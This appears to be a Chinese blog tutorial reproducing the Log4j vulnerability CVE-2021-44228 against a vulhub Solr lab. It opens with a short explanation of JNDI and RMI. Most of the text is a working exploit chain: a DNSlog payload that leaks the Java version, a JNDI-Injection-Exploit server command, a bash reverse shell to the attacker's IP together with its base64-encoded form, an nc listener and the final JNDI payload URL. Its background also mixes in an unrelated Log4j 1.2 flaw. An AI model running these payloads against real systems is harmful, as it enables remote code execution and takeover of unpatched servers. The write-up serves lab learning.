Log4j漏洞CVE-2021-44228原理以及漏洞复现【vulhub】
漏洞概述
-
Apache Log4j
是一个用于Java
的日志记录库,其支持启动远程日志服务器。Log4j 1.2
中包含一个SocketServer
类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。 -
由于
Apache Log4j
存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。 -
如果入侵者在前端页面上输入了:
${jndi:rmi://127.0.0.1:8080/evil}
这串字符, 然后后台用log4j
记录了这串字符,log4j
会自动使用jndi
调用这个地址上的rmi
内容。
关于JNDI
JNDI
(Java Naming and Directory Interface)是Java
提供的Java 命名和目录接口。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
关于RMI
RMI
(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。
影响版本
1.2
到 2.14
的 Log4j 版本。
漏洞检测
- 首先利用
docker
打开环境【docker
的搭建可以参考以前的文章】
- 访问
http://靶机1IP:8983/solr/#/
说明环境开启成功。
- 在Dnslog申请一个域名
9scgy5.dnslog.cn
- 进行请求
http://192.168.11.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.9scgy5.dnslog.cn}
- 查看域名解析记录,存在漏洞,需要点击刷新下并成功返回java版本。为什么能显示java的版本,因为
poc
里面加了一个查看java
版本的命令${sys:java.version}
,所以java版本结果回显在dnslog上面来了。【DNS
不一样是因为中途电脑闪退,所以换了一个,但是步骤都是正确的】
可以看到java版本被输出,说明漏洞存在。
漏洞复现
靶机:192.168.11.128
攻击机:192.68.11.131
- 在攻击机中利用应用工具
JNDI-Injection-Exploit
搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip(攻击机)"
这里的命令是想要靶机运行的命令,-A
后放的是发出攻击的电脑的ip,也是存放-C
后“命令”的ip地址。
接下来要实现反弹shell
,可以用命令
bash -i >& /dev/tcp/192.168.11.131/6666 0>&1
注意“命令”必须经过编码,不然将无法实现
bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMS4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
- 最终的命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMS4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.11.131"
- 另起终端,打开
sudo nc -lvnp 6666
端口 进行监听
- 发送
payload
http://192.168.11.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.11.131:1099/rbt35x}
5. 获取shell
漏洞预防
- 使用高版本的
log4j2
,禁用log4j2
的lookup
更多推荐
所有评论(0)